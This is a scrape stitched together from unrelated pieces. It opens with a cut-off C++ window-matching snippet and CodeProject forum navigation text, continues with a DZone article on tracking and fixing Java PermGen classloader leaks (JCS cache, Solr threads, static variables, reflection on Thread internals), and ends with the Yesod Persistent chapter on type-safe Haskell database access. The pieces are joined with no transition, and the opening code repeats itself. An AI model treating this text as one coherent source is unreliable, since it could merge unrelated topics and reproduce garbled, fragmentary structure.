if (::GetWindowText(hwnd, szTitle, _countof(szTitle)))
bMatch |= (_tcsstr(szTitle, wtitle) != 0);
}
BOOL bMatch(FALSE);
// Modified by Greg to match class AND title, if both given
if (wclass)
{
TCHAR szClass[300];
if (::GetClassName(hwnd, szClass, _countof(szClass)))
bMatch = (_tcsstr(szClass, wclass) != 0);
}
if (wtitle && (!wclass || bMatch))
{
TCHAR szTitle[300];
bMatch = FALSE; // needed if we can't get window text...
if (::GetWindowText(hwnd, szTitle, _countof(szTitle)))
bMatch = (_tcsstr(szTitle, wtitle) != 0);
}
General News Suggestion Question Bug Answer Joke Praise Rant Admin
Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages. | http://www.codeproject.com/Articles/6819/SendKeys-in-C?fid=39007&df=90&mpp=50&sort=Position&spc=Relaxed&tid=3896861&noise=3&prof=True&view=Thread | CC-MAIN-2016-26 | refinedweb | 1,004 | 61.67 |
Java.lang.OutOfMemory: PermGen Space - Garbage Collecting a Classloader
Java.lang.OutOfMemory: PermGen Space - Garbage Collecting a Classloader
Join the DZone community and get the full member experience.Join For Free
We recently ran into the "java.lang.OutOfMemory: PermGen space" issue. The experience has been a real eye opener. In SMART we use Classloader isolation to isolate multiple tenants. We started testing it in beta a few weeks back and found that every 2 days our server went down giving OutOfMemory: PermGen space. We had 6 tenants running with little or very little data. It was very worrying since this started happening when the server was not accessed and the load on it was very low. For us it was evident that the leak was the classloaders. But the question was, why was it not getting garbage collected? To summarize our findings, the following had to be fixed before we could get the classloader to garbage collect:
- JCS cache clearing
- Solr Searcher threads
- Static Variables
- Threads and Threadpools
Tracking the leaks
Before I talk in detail about each of the items in the above list, let me tell how we tracked down these leaks. The major problem in tracking and fixing memory leaks is re-creating the problem consistently. If you are able to recreate it then half the problem is solved. It took us sometime and a lot of outside the box thinking, but we were able to pin-point exactly the set of steps to be done to recreate the problem. We had to remove tenants from JCS cache and reload them again into the cache. Do this 4 or 5 times and we could recreate out OutOfMemory problem.When we initially started seeing this issue we added the standard java parameters to dump heap when the process went out of memory.
-XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/tmp/heapDumps
This helped us to point to the ClassLoader not being garbage collected as the problem. But the dump occurred every 2 days and irregularly based on how the server was used and every time a fix was put we had to wait two days to see if the fix had really worked.First lesson learnt, you don't have to run out of memory to dump heap. A very useful tool that helps in heap analysis is jmap that comes with jdk 6. Two really useful commands using jmap are:
jmap -permstat <pid>
This command shows the classloaders in the perm gen space and their status if they are live or dead. This is very useful to check if the classloaders have been garbage collected.
jmap -dump:format=b,file=heap.bin <pid>
This dumps the heap into the heap.bin file and can then be examined to find the reason for the classloader not being garbage collected. We used the tool called visualvm another very useful tool. It helps view the dumped heap and can show the nearest GC root that is holding an object in the heap to prevent it from garbage collecting.With these tools it became an iterative process of:
- Recreate the problem with a single tenant
- We reduced the JCS time out to be as small as 2 mins.
- The tenant now got removed from the cache every 2 mins
- Dump heap using the jmap command
- Examine the heap using Visual VM
- Find the object holding the classloader and fix the leak.
JCS cache Clearing
The primary problem that was facing us when we started to fix this problem was "How do we capture the event of a tenant being removed from JCS cache and add our own processing to it?". One suggestion for this is:
JCS jcs = JCSCacheFactory.getCacheInstance(regionName); IElementAttributes attributes = jcs.getDefaultElementAttributes(); attributes.addElementEventHandler(handler); jcs.setDefaultElementAttributes(attributes);
But setting it this way did not change the attributes. But what was clear from here is that:
- There were events that were raised for each object in the jcs cache
- The Element Attributes had the handler for these events
We just had to find a way to replace this event handler. The ElementAttributes are actually being configured in cache.ccf. All we had to do was replace the configuration with our own Element Attributes class. We created a TenantMemoryAttributes class that did the following:
public class TenantMemoryAttributes extends ElementAttributes implements java.io.Serializable { public class CacheObjectCleanup implements IElementEventHandler { public void handleElementEvent(IElementEvent event) { CacheElement elem = (CacheElement)(((ElementEvent)event).getSource()); if (elem != null) { SmartTenant tenant = (SmartTenant)elem.getVal(); .... cleanup here ... } } } public TenantMemoryAttributes() { super(); System.out.println("TenantMemoryAttributes is instantiated and new handler registered."); addElementEventHandler(new CacheObjectCleanup()); } }
Once we had this class we just had to add this to cache.ccf
jcs.region.TenantsHosted.elementattributes=org.anon.smart.base.tenant.TenantMemoryAttributes
Now we had the hook to clean up when a tenant was removed from memory. With this in place we found that we were not done with JCS cache as of yet. Though we had called the JCS.clear() function to clear out all the elements in the JCS cache (data used by the tenant), there were other things that had to be done to release the class loader.The CompositeCacheManager is a singleton and has a static variable "instance". Calling clear just cleared the data, but the instance still contained the CompositeCache class. So, we had to call freeCache on the manager, so all references to the CompositeCache was released. Once this was done we realized that there is a event queue processor thread that sends out the events and this thread is not stopped. To do both these we had to call:
CompositeCacheManager.getInstance().freeCache(_name); CompositeCache.elementEventQ.destroy();
This ensured that JCS cache no more was the bottleneck holding the classloader.
Solr Searcher threadpool
We use Embedded solr in SMART to index and provide text based search on stored data. This started causing the next bottleneck to release the classloader. The SolrCore class represents each core in solr and contains a threadpool called searcherExecutor. The solr classes are loaded by the bootstrap loader in SMART. We expected that since these classes are loaded by the bootstrap classloader, Solr should not prevent our classloader from unloading. Here we were wrong and the reason is tied deeply into how java threads and security work and was a pain to find and fix.In java classloader when a class is defined with a call as below:
defineClass(className, classBytes, 0, classBytes.length, null); -- note the null for the domain
Java creates a default ProtectionDomain in this manner (Check out ClassLoader.java in rt.jar):
this.defaultDomain = new ProtectionDomain(localCodeSource, null, this, null); ......
This default domain is then used as the protection domain for the classes that are loaded with null domain. By itself it is just a circular reference and should not really have caused any problem. Yet, when this combined with the thread security this became very critical in not releasing our classloader.Threads in java contain what is called "inheritedAccessControlContext". From this article on java security:.
This reflects in the code for thread creation. Check out the code in Thread.java from rt.jar. The init method has this piece of code.
this.inheritedAccessControlContext = AccessController.getContext();
And the getContext in AccessController has this piece of code:
AccessControlContext localAccessControlContext = getStackAccessControlContext();
Now this seems correct, logical and harmless. Yet, we have a sequence as below:
my Class Loader |---> creates thread running tenant code |---> creates EmbeddedSolrServer (bootstrap cl) |---> creates threadpool for searcherExecutor |---> creates threads (This inherits parent thread's security and our CL default protection domain
So, now the bootstrap CL has a thread object that has a reference to a protection domain which references my classloader. To overcome this problem, we had to force our classloader to create a default protection domain that does not have a reference to the classloader as below and hence release the classloader:
Permissions perms = new Permissions(); perms.add(new AllPermission()); ProtectionDomain domain = new ProtectionDomain(new CodeSource(url, new CodeSigner[0]), perms); defineClass(className, classBytes, 0, classBytes.length, domain);
Static Variables
This is the least and the most surprising of all problems we had expected. It was easily fixed, but tough to recognize all the places where we had declared static variables and release them. We write very easily singleton classes and classes that register and store cached data and do not think of the impact of this on garbage collection until the situation is hit. We had to add a cleanup to all singleton and cached values classes to clear and set the static variables to null to release them.
Threads and Threadpools
Coming to the last but not the least of all problems. Thread related problems. Some of the standard points to remember here are:
- Remove all ThreadLocals once used and release them
- Shutdown all ThreadPools so that the threads are released
- If threads are loaded by Bootstrap classloader and you have called a setContextClassloader, remove it.
One of the non-standard problems here that we faced was related to subclassAudits. Again something we were not aware of that existed in threads but is present and can prevent a classloader from unloading. A subclassAudit is a static variable in the Thread.java class (I still have no idea why it is there), and contains a reference to classes derived from thread class. What I mean by this is if U have declared as we do a class that is derived from Thread and use this to start threads rather than the standard thread class, then a reference to this class is stored in subclassAudits variable and remains there till infinity. We had to manually clean this variable using reflect to release our classes and hence the classloader.
Class cls = Thread.class; Field fld = cls.getDeclaredField("subclassAudits"); fld.setAccessible(true); Object val = fld.get(null); if (val != null) { synchronized(val) { Map m = (Map)val; m.clear(); } }
Once this was done, the going was smooth, the classloaders got released and no OutOfMemory errors were thrown.Releasing a classloader to garbage collect maybe a tough job, but it can be done even if it is just one step at a time and highly time consuming to find and fix.
Opinions expressed by DZone contributors are their own.
{{ parent.title || parent.header.title}}
{{ parent.tldr }}
{{ parent.linkDescription }}{{ parent.urlSource.name }} | https://dzone.com/articles/javalangoutofmemory-permgen | CC-MAIN-2020-10 | refinedweb | 1,710 | 54.83 |
Persistent
Forms deal with the boundary between the user and the application. Another boundary we need to deal with is between the application and the storage layer. Whether it be a SQL database, a YAML file, or a binary blob, odds are your storage layer does not natively understand your applications data types, and you’ll need to perform some marshaling. Persistent is Yesod’s answer to data storage- a type-safe, universal data store interface for Haskell.
Haskell has many different database bindings available. However, most of these have little knowledge of a schema and therefore do not provide useful static guarantees. They also force database-dependent APIs and data types on the programmer.
Some Haskellers have attempted a more revolutionary route: creating Haskell specific data stores that allow one to easily store any strongly typed Haskell data. These options are great for certain use cases, but they constrain one to the storage techniques provided by the library and do not interface well with other languages.
In contrast, Persistent allows us to choose among existing databases that are highly tuned for different data storage use cases, interoperate with other programming languages, and to use a safe and productive query interface, while still keeping the type safety of Haskell datatypes.
Persistent follows the guiding principles of type safety and concise, declarative syntax. Some other nice features are:
Database-agnostic. There is first class support for PostgreSQL, SQLite, MySQL and MongoDB, with experimental Redis support.
Convenient data modeling. Persistent lets you model relationships and use them in type-safe ways. The default type-safe persistent API does not support joins, allowing support for a wider number of storage layers. Joins and other SQL specific functionality can be achieved through using a raw SQL layer (with very little type safety). An additional library, Esqueleto, builds on top of the Persistent data model, adding type-safe joins and SQL functionality.
Automatically perform database migrations
Persistent works well with Yesod, but it is quite usable on its own as a standalone library. Most of this chapter will address Persistent on its own.
Synopsis
{-# BlogPost title String authorId PersonId deriving Show |] main :: IO () main = runSqlite ":memory:" $]
Solving the boundary issue
Suppose you are storing information on people in a SQL database. Your table might look something like:
CREATE TABLE person(id SERIAL PRIMARY KEY, name VARCHAR NOT NULL, age INTEGER)
And if you are using a database like PostgreSQL, you can be guaranteed that the database will never store some arbitrary text in your age field. (The same cannot be said of SQLite, but let’s forget about that for now.) To mirror this database table, you would likely create a Haskell datatype that looks something like:
data Person = Person { personName :: Text , personAge :: Int }
It looks like everything is type safe: the database schema matches our Haskell datatypes, the database ensures that invalid data can never make it into our data store, and everything is generally awesome. Well, until:
You want to pull data from the database, and the database layer gives you the data in an untyped format.
You want to find everyone older than 32, and you accidentally write "thirtytwo" in your SQL statement. Guess what: that will compile just fine, and you won’t find out you have a problem until runtime.
You decide you want to find the first 10 people alphabetically. No problem… until you make a typo in your SQL. Once again, you don’t find out until runtime.
In dynamic languages, the answer to these issues is unit testing. For everything that can go wrong, make sure you write a test case. But as I am sure you are aware by now, that doesn’t jive well with the Yesod approach to things. We like to take advantage of Haskell’s strong typing to save us wherever possible, and data storage is no exception.
So the question remains: how can we use Haskell’s type system to save the day?
Types
Like routing, there is nothing intrinsically difficult about type-safe data access. It just requires a lot of monotonous, error prone, boiler plate code. As usual, this means we can use the type system to keep us honest. And to avoid some of the drudgery, we’ll use a sprinkling of Template Haskell.
PersistValue is the basic building block of Persistent. It is a sum type that
can represent data that gets sent to and from a database. Its definition is: -- ^ intended especially for MongoDB backend
Each Persistent backend needs to know how to translate the relevant values into
something the database can understand. However, it would be awkward to have to
express all of our data simply in terms of these basic types. The next layer is
the
PersistField typeclass, which defines how an arbitrary Haskell datatype
can be marshaled to and from a
PersistValue. A
PersistField correlates to a
column in a SQL database. In our person example above, name and age would be
our
PersistFields.
To tie up the user side of the code, our last typeclass is
PersistEntity. An
instance of
PersistEntity correlates with a table in a SQL database. This
typeclass defines a number of functions and some associated types. To review,
we have the following correspondence between Persistent and SQL:
Code Generation
In order to ensure that the PersistEntity instances match up properly with your Haskell datatypes, Persistent takes responsibility for both. This is also good from a DRY (Don’t Repeat Yourself) perspective: you only need to define your entities once. Let’s see a quick example:
{-# LANGUAGE QuasiQuotes, TypeFamilies, GeneralizedNewtypeDeriving, TemplateHaskell, OverloadedStrings, GADTs #-} import Database.Persist import Database.Persist.TH import Database.Persist.Sqlite import Control.Monad.IO.Class (liftIO) mkPersist sqlSettings [persistLowerCase| Person name String age Int deriving Show |]
We use a combination of Template Haskell and Quasi-Quotation (like when
defining routes):
persistLowerCase is a quasi-quoter which converts a
whitespace-sensitive syntax into a list of entity definitions. "Lower case"
refers to the format of the generated table names. In this scheme, an
entity like
SomeTable would become the SQL table
some_table. You can also
declare your entities in a separate file using
persistFileWith.
mkPersist
takes that list of entities and declares:
One Haskell datatype for each entity.
A
PersistEntityinstance for each datatype defined.
The example above generates code that looks like the following:
{-# LANGUAGE TypeFamilies, GeneralizedNewtypeDeriving, OverloadedStrings, GADTs #-} import Database.Persist import Database.Persist.Sqlite import Control.Monad.IO.Class (liftIO) import Control.Applicative data Person = Person { personName :: !String , personAge :: !Int } deriving (Show, Read, Eq) type PersonId = Key Person instance PersistEntity Person where -- A Generalized Algebraic Datatype (GADT). -- This gives us a type-safe approach to matching fields with -- their datatypes. data EntityField Person typ where PersonId :: EntityField Person PersonId PersonName :: EntityField Person String PersonAge :: EntityField Person Int data Unique Person type PersistEntityBackend Person = SqlBackend toPersistFields (Person name age) = [ SomePersistField name , SomePersistField age ] fromPersistValues [nameValue, ageValue] = Person <$> fromPersistValue nameValue <*> fromPersistValue ageValue fromPersistValues _ = Left "Invalid fromPersistValues input" -- Information on each field, used internally to generate SQL statements persistFieldDef PersonId = FieldDef (HaskellName "Id") (DBName "id") (FTTypeCon Nothing "PersonId") SqlInt64 [] True Nothing persistFieldDef PersonName = FieldDef (HaskellName "name") (DBName "name") (FTTypeCon Nothing "String") SqlString [] True Nothing persistFieldDef PersonAge = FieldDef (HaskellName "age") (DBName "age") (FTTypeCon Nothing "Int") SqlInt64 [] True Nothing
As you might expect, our
Person datatype closely matches the definition we
gave in the original Template Haskell version. We also have a Generalized
Algebraic Datatype (GADT) which gives a separate constructor for each field.
This GADT encodes both the type of the entity and the type of the field. We use
its constructors throughout Persistent, such as to ensure that when we apply a
filter, the types of the filtering value match the field.
We can use the generated
Person type like any other Haskell type, and then
pass it off to other Persistent functions.
{-# |] main :: IO () main = runSqlite ":memory:" $ do michaelId <- insert $ Person "Michael" $ Just 26 michael <- get michaelId liftIO $ print michael
We start off with some standard database connection code. In this case, we used the single-connection functions. Persistent also comes built in with connection pool functions, which we will generally want to use in production.
In this example, we have seen two functions:
insert creates a new record in
the database and returns its ID. Like everything else in Persistent, IDs are
type safe. We’ll get into more details of how these IDs work later. So when you
call
insert $ Person "Michael" 26, it gives you a value back of type
PersonId.
The next function we see is
get, which attempts to load a value from the
database using an
Id. In Persistent, you never need to worry that you are
using the key from the wrong table: trying to load up a different entity (like
House) using a
PersonId will never compile.
PersistStore
One last detail is left unexplained from the previous example: what exactly
does
runSqlite do, and what is that monad that our database actions are
running in?
All database actions need to occur within an instance of
PersistStore. As its
name implies, every data store (PostgreSQL, SQLite, MongoDB) has an instance of
PersistStore. This is where all the translations from
PersistValue to
database-specific values occur, where SQL query generation happens, and so on.
runSqlite creates a single connection to a database using its supplied
connection string. For our test cases, we will use
:memory:, which uses an
in-memory database. All of the SQL backends share the same instance of
PersistStore:
SqlPersist.
runSqlite runs the
SqlPersist action by
providing it with the connection value it generated.
One important thing to note is that everything which occurs inside a single
call to
runSqlite runs in a single transaction. This has two important
implications:
For many databases, committing a transaction can be a costly activity. By putting multiple steps into a single transaction, you can speed up code dramatically.
If an exception is thrown anywhere inside a single call to
runSqlite, all actions will be rolled back (assuming your backend has rollback support).
Migrations
I’m sorry to tell you, but so far I have lied to you a bit: the example from the previous section does not actually work. If you try to run it, you will get an error message about a missing table.
For SQL databases, one of the major pains can be managing schema changes. Instead of leaving this to the user, Persistent steps in to help, but you have to ask it to help. Let’s see what this looks like:
{-# LANGUAGE QuasiQuotes, TypeFamilies, GeneralizedNewtypeDeriving, TemplateHaskell, OverloadedStrings, GADTs, FlexibleContexts #-} import Database.Persist import Database.Persist.TH import Database.Persist.Sqlite import Control.Monad.IO.Class (liftIO) share [mkPersist sqlSettings, mkSave "entityDefs"] [persistLowerCase| Person name String age Int deriving Show |] main :: IO () main = runSqlite ":memory:" $ do -- this line added: that's it! runMigration $ migrate entityDefs $ entityDef (Nothing :: Maybe Person) michaelId <- insert $ Person "Michael" 26 michael <- get michaelId liftIO $ print michael
With this one little code change, Persistent will automatically create your
Person table for you. This split between
runMigration and
migrate allows
you to migrate multiple tables simultaneously.
This works when dealing with just a few entities, but can quickly get tiresome
once we are dealing with a dozen entities. Instead of repeating yourself,
Persistent provides a helper function,
mkMigrate:
{-# LANGUAGE QuasiQuotes, TypeFamilies, GeneralizedNewtypeDeriving, TemplateHaskell, OverloadedStrings, GADTs, FlexibleContexts #-} import Database.Persist import Database.Persist.Sqlite import Database.Persist.TH share [mkPersist sqlSettings, mkMigrate "migrateAll"] [persistLowerCase| Person name String age Int deriving Show Car color String make String model String deriving Show |] main :: IO () main = runSqlite ":memory:" $ do runMigration migrateAll
mkMigrate is a Template Haskell function which creates a new function that
will automatically call
migrate on all entities defined in the
persist
block. The
share function is just a little helper that passes the information
from the persist block to each Template Haskell function and concatenates the
results.
Persistent has very conservative rules about what it will do during a migration. It starts by loading up table information from the database, complete with all defined SQL datatypes. It then compares that against the entity definition given in the code. For the following cases, it will automatically alter the schema:
The datatype of a field changed. However, the database may object to this modification if the data cannot be translated.
A field was added. However, if the field is not null, no default value is supplied (we’ll discuss defaults later) and there is already data in the database, the database will not allow this to happen.
A field is converted from not null to null. In the opposite case, Persistent will attempt the conversion, contingent upon the database’s approval.
A brand new entity is added.
However, there are some cases that Persistent will not handle:
Field or entity renames: Persistent has no way of knowing that "name" has now been renamed to "fullName": all it sees is an old field called name and a new field called fullName.
Field removals: since this can result in data loss, Persistent by default will refuse to perform the action (you can force the issue by using
runMigrationUnsafeinstead of
runMigration, though it is not recommended).
runMigration will print out the migrations it is running on
stderr (you can
bypass this by using
runMigrationSilent). Whenever possible, it uses
ALTER
TABLE calls. However, in SQLite,
ALTER TABLE has very limited abilities, and
therefore Persistent must resort to copying the data from one table to another.
Finally, if instead of performing a migration, you want Persistent to give
you hints about what migrations are necessary, use the
printMigration
function. This function will print out the migrations which
runMigration
would perform for you. This may be useful for performing migrations that
Persistent is not capable of, for adding arbitrary SQL to a migration, or just
to log what migrations occurred.
Uniqueness
In addition to declaring fields within an entity, you can also declare uniqueness constraints. A typical example would be requiring that a username be unique.
User username Text UniqueUsername username
While each field name must begin with a lowercase letter, the uniqueness constraints must begin with an uppercase letter, since it will be represented in Haskell as a data constructor.
{-# LANGUAGE QuasiQuotes, TypeFamilies, GeneralizedNewtypeDeriving, TemplateHaskell, OverloadedStrings, GADTs, FlexibleContexts #-} import Database.Persist import Database.Persist.Sqlite import Database.Persist.TH import Data.Time import Control.Monad.IO.Class (liftIO) share [mkPersist sqlSettings, mkMigrate "migrateAll"] [persistLowerCase| Person firstName String lastName String age Int PersonName firstName lastName deriving Show |] main :: IO () main = runSqlite ":memory:" $ do runMigration migrateAll insert $ Person "Michael" "Snoyman" 26 michael <- getBy $ PersonName "Michael" "Snoyman" liftIO $ print michael
To declare a unique combination of fields, we add an extra line to our declaration. Persistent knows that it is defining a unique constructor, since the line begins with a capital letter. Each following word must be a field in this entity.
The main restriction on uniqueness is that it can only be applied non-null
fields. The reason for this is that the SQL standard is ambiguous on how
uniqueness should be applied to
NULL (e.g., is
NULL=NULL true or false?).
Besides that ambiguity, most SQL engines in fact implement rules which would be
contrary to what the Haskell datatypes anticipate (e.g., PostgreSQL says that
NULL=NULL is false, whereas Haskell says
Nothing == Nothing is
True).
In addition to providing nice guarantees at the database level about
consistency of your data, uniqueness constraints can also be used to perform
some specific queries within your Haskell code, like the
getBy demonstrated
above. This happens via the
Unique associated type. In the example above, we
end up with a new constructor:
PersonName :: String -> String -> Unique Person
Queries
Depending on what your goal is, there are different approaches to querying the database. Some commands query based on a numeric ID, while others will filter. Queries also differ in the number of results they return: some lookups should return no more than one result (if the lookup key is unique) while others can return many results.
Persistent therefore provides a few different query functions. As usual, we try
to encode as many invariants in the types as possible. For example, a query
that can return only 0 or 1 results will use a
Maybe wrapper, whereas a query
returning many results will return a list.
Fetching by ID
The simplest query you can perform in Persistent is getting based on an ID.
Since this value may or may not exist, its return type is wrapped in a
Maybe.
personId <- insert $ Person "Michael" "Snoyman" 26 maybePerson <- get personId case maybePerson of Nothing -> liftIO $ putStrLn "Just kidding, not really there" Just person -> liftIO $ print person
This can be very useful for sites that provide URLs like /person/5. However,
in such a case, we don’t usually care about the
Maybe wrapper, and just want
the value, returning a 404 message if it is not found. Fortunately, the
get404 (provided by the yesod-persistent package) function helps us out here.
We’ll go into more details when we see integration with Yesod.
Fetching by unique constraint
getBy is almost identical to
get, except:
it takes a uniqueness constraint; that is, instead of an ID it takes a
Uniquevalue.
it returns an
Entityinstead of a value. An
Entityis a combination of database ID and value.
personId <- insert $ Person "Michael" "Snoyman" 26 maybePerson <- getBy $ UniqueName "Michael" "Snoyman" case maybePerson of Nothing -> liftIO $ putStrLn "Just kidding, not really there" Just (Entity personId person) -> liftIO $ print person
Like
get404, there is also a
getBy404 function.
Select functions
Most likely, you’re going to want more powerful queries. You’ll want to find everyone over a certain age; all cars available in blue; all users without a registered email address. For this, you need one of the select functions.
All the select functions use a similar interface, with slightly different outputs:
selectList is the most commonly used, so we will cover it specifically. Understanding the others should be trivial after that.
selectList takes two arguments: a list of
Filters, and a list of
SelectOpts. The former is what limits your results based on
characteristics; it allows for equals, less than, is member of, and such.
SelectOpts provides for three different features: sorting, limiting output
to a certain number of rows, and offsetting results by a certain number of
rows.
Let’s jump straight into an example of filtering, and then analyze it.
people <- selectList [PersonAge >. 25, PersonAge <=. 30] [] liftIO $ print people
As simple as that example is, we really need to cover three points:
PersonAgeis a constructor for an associated phantom type. That might sound scary, but what’s important is that it uniquely identifies the "age" column of the "person" table, and that it knows that the age field is an
Int. (That’s the phantom part.)
We have a bunch of Persistent filtering operators. They’re all pretty straight-forward: just tack a period to the end of what you’d expect. There are three gotchas here, I’ll explain below.
The list of filters is ANDed together, so that our constraint means "age is greater than 25 AND age is less than or equal to 30". We’ll describe ORing later.
The one operator that’s surprisingly named is "not equals." We use
!=., since
/=. is used for updates (for "divide-and-set", described later). Don’t worry:
if you use the wrong one, the compiler will catch you. The other two surprising
operators are the "is member" and "is not member". They are, respectively,
←. and
/←. (both end with a period).
And regarding ORs, we use the
||. operator. For example:
people <- selectList ( [PersonAge >. 25, PersonAge <=. 30] ||. [PersonFirstName /<-. ["Adam", "Bonny"]] ||. ([PersonAge ==. 50] ||. [PersonAge ==. 60]) ) [] liftIO $ print people
This (completely nonsensical) example means: find people who are 26-30, inclusive, OR whose names are neither Adam or Bonny, OR whose age is either 50 or 60.
SelectOpt
All of our
selectList calls have included an empty list as the second
parameter. That specifies no options, meaning: sort however the database wants,
return all results, and don’t skip any results. A
SelectOpt has four
constructors that can be used to change all that.
- Asc
Sort by the given column in ascending order. This uses the same phantom type as filtering, such as
PersonAge.
- Desc
Same as
Asc, in descending order.
- LimitTo
Takes an
Intargument. Only return up to the specified number of results.
- OffsetBy
Takes an
Intargument. Skip the specified number of results.
The following code defines a function that will break down results into pages. It returns all people aged 18 and over, and then sorts them by age (oldest person first). For people with the same age, they are sorted alphabetically by last name, then first name.
resultsForPage pageNumber = do let resultsPerPage = 10 selectList [ PersonAge >=. 18 ] [ Desc PersonAge , Asc PersonLastName , Asc PersonFirstName , LimitTo resultsPerPage , OffsetBy $ (pageNumber - 1) * resultsPerPage ]
Manipulation
Querying is only half the battle. We also need to be able to add data to and modify existing data in the database.
Insert
It’s all well and good to be able to play with data in the database, but how
does it get there in the first place? The answer is the
insert function. You
just give it a value, and it gives back an ID.
At this point, it makes sense to explain a bit of the philosophy behind Persistent. In many other ORM solutions, the datatypes used to hold data are opaque: you need to go through their defined interfaces to get at and modify the data. That’s not the case with Persistent: we’re using plain old Algebraic Data Types for the whole thing. This means you still get all the great benefits of pattern matching, currying and everything else you’re used to.
However, there are a few things we can’t do. For one, there’s no way to automatically update values in the database every time the record is updated in Haskell. Of course, with Haskell’s normal stance of purity and immutability, this wouldn’t make much sense anyway, so I don’t shed any tears over it.
However, there is one issue that newcomers are often bothered by: why are IDs and values completely separate? It seems like it would be very logical to embed the ID inside the value. In other words, instead of having:
data Person = Person { name :: String }
have
data Person = Person { personId :: PersonId, name :: String }
Well, there’s one problem with this right off the bat: how do we do an
insert? If a Person needs to have an ID, and we get the ID by inserting, and an insert needs a Person, we have an impossible loop. We could solve this with
undefined, but that’s just asking for trouble.
OK, you say, let’s try something a bit safer:
data Person = Person { personId :: Maybe PersonId, name :: String }
I definitely prefer
insert $ Person Nothing "Michael" to
insert $ Person
undefined "Michael". And now our types will be much simpler, right? For
example,
selectList could return a simple
[Person] instead of that ugly
[Entity SqlPersist Person].
The problem is that the "ugliness" is incredibly useful. Having
Entity Person
makes it obvious, at the type level, that we’re dealing with a value that
exists in the database. Let’s say we want to create a link to another page that
requires the
PersonId (not an uncommon occurrence as we’ll discuss later).
The
Entity Person form gives us unambiguous access to that information;
embedding
PersonId within
Person with a
Maybe wrapper means an extra
runtime check for
Just, instead of a more error-proof compile time check.
Finally, there’s a semantic mismatch with embedding the ID within the value.
The
Person is the value. Two people are identical (in the context of a
database) if all their fields are the same. By embedding the ID in the value,
we’re no longer talking about a person, but about a row in the database.
Equality is no longer really equality, it’s identity: is this the same
person, as opposed to an equivalent person.
In other words, there are some annoyances with having the ID separated out, but overall, it’s the right approach, which in the grand scheme of things leads to better, less buggy code.
Update
Now, in the context of that discussion, let’s think about updating. The simplest way to update is:
let michael = Person "Michael" 26 michaelAfterBirthday = michael { personAge = 27 }
But that’s not actually updating anything, it’s just creating a new
Person
value based on the old one. When we say update, we’re not talking about
modifications to the values in Haskell. (We better not be of course, since
data in Haskell is immutable.)
Instead, we’re looking at ways of modifying rows in a table. And the simplest
way to do that is with the
update function.
personId <- insert $ Person "Michael" "Snoyman" 26 update personId [PersonAge =. 27]
update takes two arguments: an ID, and a list of
Updates. The simplest
update is assignment, but it’s not always the best. What if you want to
increase someone’s age by 1, but you don’t have their current age? Persistent
has you covered:
haveBirthday personId = update personId [PersonAge +=. 1]
And as you might expect, we have all the basic mathematical operators:
+=.,
-=.,
\*=., and
/=. (full stop). These can be convenient for
updating a single record, but they are also essential for proper ACID
guarantees. Imagine the alternative: pull out a
Person, increment the age,
and update the new value. If you have two threads/processes working on this
database at the same time, you’re in for a world of hurt (hint: race
conditions).
Sometimes you’ll want to update many rows at once (give all your employees a
5% pay increase, for example).
updateWhere takes two parameters: a list of
filters, and a list of updates to apply.
updateWhere [PersonFirstName ==. "Michael"] [PersonAge *=. 2] -- it's been a long day
Occasionally, you’ll just want to completely replace the value in a database
with a different value. For that, you use (surprise) the
replace function.
personId <- insert $ Person "Michael" "Snoyman" 26 replace personId $ Person "John" "Doe" 20
As much as it pains us, sometimes we must part with our data. To do so, we have three functions:
- delete
Delete based on an ID
- deleteBy
Delete based on a unique constraint
- deleteWhere
Delete based on a set of filters
personId <- insert $ Person "Michael" "Snoyman" 26 delete personId deleteBy $ UniqueName "Michael" "Snoyman" deleteWhere [PersonFirstName ==. "Michael"]
We can even use deleteWhere to wipe out all the records in a table, we just need to give some hints to GHC as to what table we’re interested in:
deleteWhere ([] :: [Filter Person])
Attributes
So far, we have seen a basic syntax for our
persistLowerCase blocks: a line
for the name of our entities, and then an indented line for each field with two
words: the name of the field and the datatype of the field. Persistent handles
more than this: you can assign an arbitrary list of attributes after the first
two words on a line.
Suppose we want to have a
Person entity with an (optional) age and the
timestamp of when he/she was added to the system. For entities already in the
database, we want to just use the current date-time for that timestamp.
{-# LANGUAGE QuasiQuotes, TypeFamilies, GeneralizedNewtypeDeriving, TemplateHaskell, OverloadedStrings, GADTs, FlexibleContexts #-} import Database.Persist import Database.Persist.Sqlite import Database.Persist.TH import Data.Time import Control.Monad.IO.Class share [mkPersist sqlSettings, mkMigrate "migrateAll"] [persistLowerCase| Person name String age Int Maybe created UTCTime default=CURRENT_TIME deriving Show |] main :: IO () main = runSqlite ":memory:" $ do time <- liftIO getCurrentTime runMigration migrateAll insert $ Person "Michael" (Just 26) time insert $ Person "Greg" Nothing time return ()
Maybe is a built in, single word attribute. It makes the field optional. In
Haskell, this means it is wrapped in a
Maybe. In SQL, it makes the column
nullable.
The
default attribute is backend specific, and uses whatever syntax is
understood by the database. In this case, it uses the database’s built-in
CURRENT_TIME function. Suppose that we now want to add a field for a person’s
favorite programming language:
{-#' deriving Show |] main :: IO () main = runSqlite ":memory:" $ do runMigration migrateAll
We need to surround the string with single quotes so that the database can properly interpret it. Finally, Persistent can use double quotes for containing white space, so if we want to set someone’s default home country to be El Salv' country String "default='El Salvador'" deriving Show |] main :: IO () main = runSqlite ":memory:" $ do runMigration migrateAll
One last trick you can do with attributes is to specify the names to be used for the SQL tables and columns. This can be convenient when interacting with existing databases.
share [mkPersist sqlSettings, mkMigrate "migrateAll"] [persistLowerCase| Person sql=the-person-table id=numeric_id firstName String sql=first_name lastName String sql=fldLastName age Int "sql=The Age of the Person" UniqueName firstName lastName deriving Show |]
There are a number of other features to the entity definition syntax. An up-to-date list is maintained on the Yesod wiki.
Relations
Persistent allows references between your data types in a manner that is consistent with supporting non-SQL databases. We do this by embedding an ID in the related entity. So if a person has many cars:
{-# LANGUAGE QuasiQuotes, TypeFamilies, GeneralizedNewtypeDeriving, TemplateHaskell, OverloadedStrings, GADTs, FlexibleContexts #-} import Database.Persist import Database.Persist.Sqlite import Database.Persist.TH import Control.Monad.IO.Class (liftIO) import Data.Time share [mkPersist sqlSettings, mkMigrate "migrateAll"] [persistLowerCase| Person name String deriving Show Car ownerId PersonId name String deriving Show |] main :: IO () main = runSqlite ":memory:" $ do runMigration migrateAll bruce <- insert $ Person "Bruce Wayne" insert $ Car bruce "Bat Mobile" insert $ Car bruce "Porsche" -- this could go on a while cars <- selectList [CarOwnerId ==. bruce] [] liftIO $ print cars
